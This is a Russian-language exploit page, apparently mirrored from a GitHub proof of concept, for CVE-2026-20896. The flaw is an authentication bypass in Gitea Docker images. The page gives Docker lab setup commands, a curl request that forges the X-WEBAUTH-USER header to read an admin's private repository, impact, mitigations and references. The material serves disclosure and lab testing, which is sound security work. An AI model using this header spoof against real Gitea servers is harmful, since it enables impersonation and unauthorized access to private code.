## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-EQSTLAB-CVE-2026-20896
# CVE-2026-20896: PoC обхода аутентификации в Docker-образе Gitea
> [!WARNING] Используйте этот PoC только в локальной лаборатории или против системы, на тестирование которой у вас есть явное разрешение.
https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b
# Обзор
**CVE-2026-20896** — это обход аутентификации в затронутых официальных Docker-образах Gitea. Когда включена аутентификация через обратный прокси, генерируемая образом настройка `REVERSE_PROXY_TRUSTED_PROXIES = *` позволяет клиенту, имеющему доступ к бэкенду Gitea, выдавать себя за существующего пользователя через заголовок `X-WEBAUTH-USER`.
Лаборатория создаёт администратора с именем `gitea-admin` со случайным паролем и сохраняет `CVE-2026-20896_AUTH_BYPASS_CONFIRMED` в приватном репозитории `gitea-admin/private-proof`. Чтение этого файла без знания случайного пароля администратора демонстрирует обход аутентификации.
# Затронутые версии
Категория| Версия
---|---
Уязвимые| Официальные Docker-образы `gitea/gitea` ≤ 1.26.2
Первая исправленная| 1.26.3
Рекомендуемая| 1.26.4 или новее
Уязвимая конфигурация требует, чтобы аутентификация через обратный прокси была включена, а бэкенд Gitea был напрямую доступен, либо чтобы вышестоящий прокси сохранял заголовок идентификации, предоставленный атакующим. Контейнер обратного прокси не требуется для локального воспроизведения.
# Окружение
root@kitploit:~
# сборка
docker build -t cve-2026-20896-gitea-vuln .
# запуск
docker run -d --rm --name cve-2026-20896-gitea-vuln -p 127.0.0.1:3000:3000 cve-2026-20896-gitea-vuln
Подождите несколько секунд, пока Gitea и приватный репозиторий с доказательством инициализируются.
# PoC
## cURL
root@kitploit:~
curl -s -L -H "X-WEBAUTH-USER: gitea-admin" http://127.0.0.1:3000/gitea-admin/private-proof/raw/branch/main/proof.txt
Успешная эксплуатация возвращает `CVE-2026-20896_AUTH_BYPASS_CONFIRMED`.
## Python
root@kitploit:~
python poc.py http://127.0.0.1:3000
Скрипт сравнивает неаутентифицированные запросы, запросы от не-администратора и подделанные запросы администратора и выводит `VULNERABLE`, когда обход авторизации подтверждён. Требуется Python 3.10 или новее; используется только стандартная библиотека.
# Влияние
* Выдача себя за известных или угадываемых пользователей Gitea
* Несанкционированный доступ к приватным репозиториям и ресурсам пользователей
* Административные действия при выдаче себя за учётную запись администратора
# Смягчение
* Обновитесь до Gitea 1.26.3 или новее; рекомендуется 1.26.4 или новее.
* Ограничьте `REVERSE_PROXY_TRUSTED_PROXIES` адресами доверенных прокси.
* Предотвратите прямой доступ к бэкенду Gitea и перезаписывайте заголовки идентификации, поступающие извне.
* Отключите аутентификацию через обратный прокси, если она не требуется.
# Очистка
root@kitploit:~
docker stop cve-2026-20896-gitea-vuln
# Ссылки
* Консультация по безопасности Gitea GHSA-f75j-4cw6-rmx4
* Анонс релизов Gitea 1.26.3 и 1.26.4
* PR #38151 с исправлением безопасности Gitea